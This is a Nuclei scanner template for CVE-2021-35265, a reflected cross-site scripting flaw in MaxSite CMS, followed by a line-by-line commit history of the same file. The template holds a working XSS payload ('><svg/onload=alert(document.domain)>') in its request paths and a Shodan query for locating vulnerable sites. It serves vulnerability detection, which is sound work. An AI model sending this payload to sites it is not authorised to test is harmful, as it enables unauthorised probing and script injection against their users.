nuclei-templates/http/cves/2021/CVE-2021-35265.yaml

id: CVE-2021-35265

info:
  name: MaxSite CMS > V106 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    A reflected cross-site scripting vulnerability in MaxSite CMS before V106 via product/page/* allows remote attackers to inject arbitrary web script to a page."
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of MaxSite CMS or apply the vendor-provided security patch to mitigate the XSS vulnerability (CVE-2021-35265).
  reference:
    - https://github.com/maxsite/cms/issues/414#issue-726249183
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35265
    - https://github.com/maxsite/cms/commit/6b0ab1de9f3d471485d1347e800a9ce43fedbf1a
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-35265
    cwe-id: CWE-79
    epss-score: 0.00127
    epss-percentile: 0.47003
    cpe: cpe:2.3:a:maxsite:maxsite_cms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: maxsite
    product: maxsite_cms
    shodan-query: html:'content="MaxSite CMS'
  tags: cve,cve2021,maxsite,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/page/hello/1%22%3E%3Csvg/onload=alert(document.domain)%3E'
      - '{{BaseURL}}/page/1%22%3E%3Csvg/onload=alert(document.domain)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '><svg/onload=alert(document.domain)>'

      - type: word
        part: body
        words:
          - 'mso-comments-rss">RSS</a>'
          - 'MaxSite CMS'
          - 'feed"><span>RSS</span>'
        condition: or

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210091b9d0dc5f25b4b95b25dd218d13d8678a010f3a33c16c3be5c309fbdcb4ee610220342ff0d8bd8fb826e282d72a73c273d9e6ad825eacc41d13236fa1d415bcfbb5:922c64590222798bb761d5b6d8e72950
Create CVE-2021-35265.yaml 2021-09-15 04:36:38 +00:00			`id: CVE-2021-35265`

			`info:`
Update CVE-2021-35265.yaml 2023-07-27 17:21:27 +00:00			`name: MaxSite CMS > V106 - Cross-Site Scripting`
Create CVE-2021-35265.yaml 2021-09-15 04:36:38 +00:00			`author: pikpikcu`
			`severity: medium`
Update CVE-2021-35265.yaml 2023-07-27 17:21:27 +00:00			`description: \|`
			`A reflected cross-site scripting vulnerability in MaxSite CMS before V106 via product/page/* allows remote attackers to inject arbitrary web script to a page."`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`remediation: \|`
			`Upgrade to a patched version of MaxSite CMS or apply the vendor-provided security patch to mitigate the XSS vulnerability (CVE-2021-35265).`
Create CVE-2021-35265.yaml 2021-09-15 04:36:38 +00:00			`reference:`
			`- https://github.com/maxsite/cms/issues/414#issue-726249183`
			`- https://nvd.nist.gov/vuln/detail/CVE-2021-35265`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`- https://github.com/maxsite/cms/commit/6b0ab1de9f3d471485d1347e800a9ce43fedbf1a`
Auto Generated CVE annotations [Thu Sep 16 17:04:58 UTC 2021] :robot: 2021-09-16 17:04:58 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 6.1`
Auto Generated CVE annotations [Thu Sep 16 17:04:58 UTC 2021] :robot: 2021-09-16 17:04:58 +00:00			`cve-id: CVE-2021-35265`
			`cwe-id: CWE-79`
Added CPE and EPSS Score to CVE Templates 2023-04-12 10:55:48 +00:00			`epss-score: 0.00127`
TemplateMan Update [Tue Dec 12 11:07:51 UTC 2023] :robot: 2023-12-12 11:07:52 +00:00			`epss-percentile: 0.47003`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:a:maxsite:maxsite_cms::::::::`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 2`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: maxsite`
			`product: maxsite_cms`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`shodan-query: html:'content="MaxSite CMS'`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`tags: cve,cve2021,maxsite,xss`
Create CVE-2021-35265.yaml 2021-09-15 04:36:38 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2021-35265.yaml 2021-09-15 04:36:38 +00:00			`- method: GET`
			`path:`
Update CVE-2021-35265.yaml 2023-07-27 17:21:27 +00:00			`- '{{BaseURL}}/page/hello/1%22%3E%3Csvg/onload=alert(document.domain)%3E'`
			`- '{{BaseURL}}/page/1%22%3E%3Csvg/onload=alert(document.domain)%3E'`
Create CVE-2021-35265.yaml 2021-09-15 04:36:38 +00:00
			`matchers-condition: and`
			`matchers:`
			`- type: word`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`part: body`
Create CVE-2021-35265.yaml 2021-09-15 04:36:38 +00:00			`words:`
Update CVE-2021-35265.yaml 2023-07-27 17:21:27 +00:00			`- '><svg/onload=alert(document.domain)>'`

			`- type: word`
			`part: body`
			`words:`
			`- 'mso-comments-rss">RSS</a>'`
			`- 'MaxSite CMS'`
			`- 'feed"><span>RSS</span>'`
			`condition: or`
Create CVE-2021-35265.yaml 2021-09-15 04:36:38 +00:00
			`- type: word`
			`part: header`
Update CVE-2021-35265.yaml 2021-09-16 17:01:41 +00:00			`words:`
			`- text/html`
Create CVE-2021-35265.yaml 2021-09-15 04:36:38 +00:00
			`- type: status`
			`status:`
Added EPSS Percentile 2023-08-31 11:46:18 +00:00			`- 200`
Auto Template Signing [Fri Dec 29 09:30:43 UTC 2023] :robot: 2023-12-29 09:30:44 +00:00			`# digest: 4a0a0047304502210091b9d0dc5f25b4b95b25dd218d13d8678a010f3a33c16c3be5c309fbdcb4ee610220342ff0d8bd8fb826e282d72a73c273d9e6ad825eacc41d13236fa1d415bcfbb5:922c64590222798bb761d5b6d8e72950`